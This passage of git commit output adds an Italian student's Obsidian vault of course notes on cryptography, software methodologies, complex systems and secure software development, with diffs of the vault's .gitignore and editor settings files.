 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/out-of-band verification.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/periodo di validità.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/privacy enhanced mail.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/public key infrastructure.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/revoca certificato web.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/root certification authority.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/scope.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/self-signed certificate.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/stale attack.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/tipo di certificato web.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/token.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust anchor.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/trust-on-first-use.md
 create mode 100644 8 - Crittografia applicata/4 - Controllo dell'accesso/4 - Distribuzione di chiavi/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/IPSec.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Internet Key Exchange.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/MACSec.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/Wireguard.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/coppia di chiavi effimere.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/datagram transport level security.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/downgrade attack.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/encrypted client hello.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/mobile shell.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/pre-master secret.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure file transfer protocol.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/secure shell.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security handshake.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/transport level security.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/1 - TCP-IP/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/authenticated received chain.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/brand indicators for message identification.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domain-based message authentication reporting and conformance.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/domainkeys identified mail.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/email.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/malware attachment.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/phishing.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/posta elettronica certificata.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/record DNS.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/secure mime.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender policy framework.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/sender spoofing.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/2 - Email/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Diffie-Hellman ratchet.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal AEAD.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal protocol.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/Signal.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/X3DH.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement basato su Diffie-Hellman.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/authenticated deniable key agreement.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/double ratchet.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity information.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/identity key.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/invio X3DH.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/negabilità.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/non-ripudiabilità.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/one-time pre-key.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/registrazione X3DH.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/ricezione X3DH.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/symmetric ratchet.md
 create mode 100644 8 - Crittografia applicata/5 - Protocolli sicuri/3 - Signal/★ mappa concettuale.canvas
 create mode 100644 8 - Metodologie di sviluppo software/Artefatti/burndown chart.md
 create mode 100644 8 - Metodologie di sviluppo software/Artefatti/increment.md
 create mode 100644 8 - Metodologie di sviluppo software/Artefatti/product backlog.md
 create mode 100644 8 - Metodologie di sviluppo software/Artefatti/user story.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di design.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di implementazione.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di manutenzione.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di rilascio.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di specifica.md
 create mode 100644 8 - Metodologie di sviluppo software/Fasi di sviluppo/fase di testing.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello basato sui componenti.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello code-and-fix.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello di sviluppo.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello evolutivo.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello incrementale.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello iterativo.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello trasformativo.md
 create mode 100644 8 - Metodologie di sviluppo software/Modelli di sviluppo/modello waterfall.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/agile unified process.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/agile.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/backlog grooming.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/daily scrum.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/epic.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/feature-driven development.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/processo di sviluppo software.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/scrum of scrum.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/scrum.md
 create mode 100644 8 - Metodologie di sviluppo software/Processi di sviluppo/unified process.md
 create mode 100644 8 - Metodologie di sviluppo software/Ruoli professionali/product owner.md
 create mode 100644 8 - Metodologie di sviluppo software/Ruoli professionali/scrum master.md
 create mode 100644 8 - Metodologie di sviluppo software/Svolgimento esercizi/5 - Project Estimation.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/pair programming.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/refactoring.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint planning.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint retrospective.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint review.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/test-driven development.md
 create mode 100644 8 - Metodologie di sviluppo software/Tecniche di sviluppo/timeboxing.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/acceptance test.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/integration test.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/performance test.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/regression test.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/test coverage.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/test.md
 create mode 100644 8 - Metodologie di sviluppo software/Testing/unit test.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/attrattore.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/centro.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/condizione iniziale.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/convezione di Rayleigh-Bénard.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/criticità.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/effetto Marangoni.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/instabilità.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/legge Gutenberg-Richter.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/legge di potenza.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/metastabilità.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/numero critico di Rayleigh.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/numero di Rayleigh.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/potenziale.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/punto critico.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/repulsore.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/seconda legge della termodinamica.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/sella.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/sistema dinamico.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/sistema dissipativo.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/sistema lineare.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/spazio di fase.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/stabilità.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/traiettoria.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/veicolo di Braitenberg.md
 create mode 100644 8 - Sistemi complessi/1 - Sistemi dinamici/★ sistemi dinamici.canvas
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/Landau's phenomenological theory.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/adattabilità.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/apertura all'ambiente.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/auto-organizzazione.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/caos.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/criticità auto-organizzata.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/dense periodic orbits.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/emergenza.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/fallimento a cascata.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/feedback loop.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/non-linearità.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/ordine spontaneo.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/parte di un sistema complesso.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/pila di sabbia abeliana.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/rete.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/sistema complesso.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/topological mixing.md
 create mode 100644 8 - Sistemi complessi/2 - Sistemi complessi/★ sistemi complessi.canvas
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/Evoloop.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/Game of Life.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/Langton's Loops.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/Perrier's Loops.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/Wireworld.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/anisotropia.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/auto-replicazione.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare asincrono.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare booleano.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo spaziale.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare invertibile.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare legale.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare partizionante.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare probabilistico.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare totalistico.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/automa cellulare.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/breeder.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/cella di un automa cellulare.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/classe 1 di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/classe 2 di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/classe 3 di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/classe 4 di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/classe di complessità di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/giardino dell'Eden.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/gun.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/lambda di Langton.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/metodo reticolare di Boltzmann.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello Axelrod.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello FHP con particelle velocità zero.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello FHP.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello HPP · regola di transizione.png
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello HPP.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello Nowak-Lewenstein.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello Sakoda.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/modello Schelling.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/oscillator.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/puffer.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/regola 110 di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/regola di Wolfram.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/regola di transizione.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/reticolo FCHC.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/reticolo di un automa cellulare.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/sincronizzazione del plotone di esecuzione.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/spaceship.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/stato di una cella.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/universalità.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/vicinato di Moore.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/vicinato di un automa cellulare.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/vicinato di von Neumann.md
 create mode 100644 8 - Sistemi complessi/3 - Automi cellulari/★ automi cellulari.canvas
 create mode 100644 8 - Sistemi complessi/4 - Grafi/arco di accoppiamento.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/aspetto categorico di un grafo multi-livello.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/aspetto di un grafo multi-livello.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/aspetto ordinale di un grafo multi-livello.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/bellezza.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/circuito euleriano.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/coefficiente di clustering in una rete multiplex.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/coefficiente di clustering.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/diametro di un grafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/distanza tra nodi di un grafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/eccentricità di un nodo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo a nodi colorati.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo a reticolo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo ad archi colorati.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo casuale.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo completo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo connesso.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo denso.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello a livelli disgiunti.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello allineato ai nodi.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello categorico.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale a livelli accoppiati.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello diagonale.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello interconnesso.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello k-partito.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo multi-livello.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo scale-free.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo small-world.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo sparso.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/grafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/interdipendenza.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/iperarco.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/ipergrafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/iperrete.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/lunghezza caratteristica di un grafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/multislice modularity.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/percolation threshold.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/percorso euleriano.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/raggio di un grafo.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/rete interdipendente.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/rete multiplex correlata.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/rete multiplex straightforward.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/rete multiplex.md
 create mode 100644 8 - Sistemi complessi/4 - Grafi/★ grafi multi-livello.canvas
 create mode 100644 8 - Sistemi complessi/4 - Grafi/★ grafi.canvas
 create mode 100644 8 - Sistemi complessi/4 - Grafi/★ ipergrafi.canvas
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/catalizzatore.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/gene duplication.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/insieme auto-catalitico riflessivo generato da cibo.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/insieme auto-replicante.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman gene-RBN.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/modello di Kauffman per gli insiemi auto-replicanti.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/substrato.md
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/★ geni come random boolean network.canvas
 create mode 100644 8 - Sistemi complessi/5 - Origine della vita/★ insiemi auto-replicanti.canvas
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/canalizzazione.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/cromosoma.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/crossover.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/degenerazione.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/evolvibilità.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/fenotipo.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/fitness.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/gene.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/genoma.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/genotipo.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/individuo.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/modello duplication-degeneracy-complementation.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/nucleotide.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/omeostasi.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/paradosso dell'evolvibilità.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/plasticità fenotipica.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/pleiotropia.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/point mutation.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/popolazione.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/proteoma.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/rete neutrale.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/rete regolatrice di geni.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/ridondanza.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/robustezza biologica.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/robustezza differenziale.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/robustezza distribuita.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/robustezza locale.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/robustezza.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/tolleranza altamente ottimizzata.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/tratto.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/versatilità.md
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/★ robustezza.canvas
 create mode 100644 8 - Sistemi complessi/6 - Robustezza/🞵 parentesi anti-eugenica.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/STRIDE.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/analisi dei rischi.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/asset.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/attaccante.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/bug.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/debolezza.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/difetto.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/distinguisher.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/exploit.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/funzionalità.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/input illecito.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/input invalido.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/input lecito.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/input valido.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di prevenzione.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di reazione.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di rilevazione.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/meccanismo di sicurezza.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/minaccia.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/politica di sicurezza.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/prestazioni.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/principio del minimo privilegio.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/principio del silenzio.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/rischio.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza informatica.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/sicurezza.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/superficie di attacco.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/vettore di attacco.md
 create mode 100644 8 - Sviluppo di software sicuro/1 - Terminologia/vulnerabilità.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/02 - stack-two.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/04 - stack-four.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/05 - stack-five.md
 create mode 100644 8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/Stack smashing cheat sheet.md

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..55a5558
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,10 @@
+**/*.mp4
+**/*.mkv
+**/*.sync-confict-*
+
+.obsidian/workspace.json
+.obsidian/workspace-mobile.json
+.trash
+
+0 - Generale/★ esami.canvas
+**/0 - Materiale di studio/
\ No newline at end of file
diff --git a/.obsidian/app.json b/.obsidian/app.json
new file mode 100644
index 0000000..6920429
--- /dev/null
+++ b/.obsidian/app.json
@@ -0,0 +1,17 @@
+{
+  "alwaysUpdateLinks": true,
+  "useMarkdownLinks": false,
+  "defaultViewMode": "source",
+  "showFrontmatter": true,
+  "attachmentFolderPath": "./",
+  "newFileLocation": "current",
+  "strictLineBreaks": true,
+  "showLineNumber": true,
+  "spellcheckLanguages": null,
+  "spellcheck": false,
+  "autoConvertHtml": true,
+  "showUnsupportedFiles": true,
+  "newLinkFormat": "shortest",
+  "trashOption": "local",
+  "promptDelete": false
+}
\ No newline at end of file
diff --git a/.obsidian/appearance.json b/.obsidian/appearance.json
new file mode 100644
index 0000000..54a792f
--- /dev/null
+++ b/.obsidian/appearance.json
@@ -0,0 +1,11 @@
+{
+  "accentColor": "#d14224",
+  "textFontFamily": "",
+  "monospaceFontFamily": "",
+  "theme": "system",
+  "baseFontSize": 16,
+  "enabledCssSnippets": [
+    "canvas-zoom",
+    "canvas-node-placeholder-size"
+  ]
+}
\ No newline at end of file
diff --git a/.obsidian/backlink.json b/.obsidian/backlink.json
new file mode 100644
index 0000000..80eb3a3
--- /dev/null
+++ b/.obsidian/backlink.json
@@ -0,0 +1,3 @@
+{
